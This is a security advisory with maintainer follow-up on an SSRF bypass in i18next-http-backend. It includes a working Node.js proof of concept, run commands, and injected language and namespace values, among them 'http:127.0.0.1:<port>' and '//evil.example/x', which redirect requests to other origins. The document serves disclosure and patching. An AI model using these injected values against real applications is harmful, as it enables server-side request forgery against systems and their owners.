i18next-http-backend incomplete URL validation permits SSRF

There is an SSRF vulnerability when using i18next-http-backend. A colon in an attacker-controlled language value can make a custom path template request an unintended origin.

This is reachable under the following conditions: Attacker controls i18next language or namespace input that is interpolated into loadPath.

Proof of Concept

// SSRF through a colon-only URL scheme in i18next-http-backend interpolation.
const http = require("node:http");
const Backend = require("i18next-http-backend");

function read(backend, lng, ns) {
  return new Promise((resolve) => {
    backend.read(lng, ns, (err) => resolve(err));
  });
}

async function main() {
  let gotRequest = false;
  const server = http.createServer((req, res) => {
    gotRequest = req.url === "/common.json";
    res.writeHead(200, { "content-type": "application/json" });
    res.end("{}");
  });

  await new Promise((resolve) => server.listen(0, "127.0.0.1", resolve));
  const backend = new Backend(null, { loadPath: "{{lng}}/{{ns}}.json" });
  const lng = `http:127.0.0.1:${server.address().port}`;

  const err = await read(backend, lng, "common");
  server.close();

  const vulnerable = gotRequest && !err;
  console.log(vulnerable ? "VULNERABLE" : "SAFE");
  if (!vulnerable) process.exitCode = 1;
}

main();

Run:

npm install --ignore-scripts
node poc.js

The expected result is:

VULNERABLE

Why the Previous Patch Was Incomplete

This vulnerability is caused by an incomplete patch for CVE-2026-41691. The previous patch addressed the following behavior: Original hardening blocks path traversal and selected URL-control characters in lng/ns.

The following bypass remains in the current release: lng=http:127.0.0.1:<port> with loadPath={{lng}}/{{ns}}.json; colon is not blocked and produces an outbound request.

Impact

The attacker-controlled language or namespace value can redirect the backend request to an unintended origin, resulting in URL injection and possible SSRF.

Recommended Fix

Parse the final URL and require it to remain within the intended origin and path. If absolute URLs are supported, validate them against an explicit allowlist.

Please let us know if you need any additional information or clarification. We are happy to prepare a pull request if that would be helpful. Thank you for reviewing this report.

Maintainer note

Confirmed and fixed in 4.0.2 (commit i18next/i18next-http-backend@07e0288).

Preconditions. The bypass only works when the loadPath / addPath template begins directly with {{lng}} or {{ns}} — no origin and no leading /, e.g. {{lng}}/{{ns}}.json. Only in that position is http: parsed as a URL scheme. The default /locales/{{lng}}/{{ns}}.json and every template with a leading path or origin are not affected: a colon inside a path segment has no structural meaning there, and the resulting string is rejected as an invalid URL. The same template shape also allowed an ns value such as //evil.example/x to become a protocol-relative URL in browsers.

Fix. : is now rejected in both lng and ns values, and // in ns values. No BCP-47 language code contains a colon, and : is i18next's default namespace separator, so no usable namespace name does either.

Affected range. Versions before 3.0.5 had no validation at all and are reachable through this vector too, so the affected range is < 4.0.2 rather than >= 3.0.5, <= 4.0.1.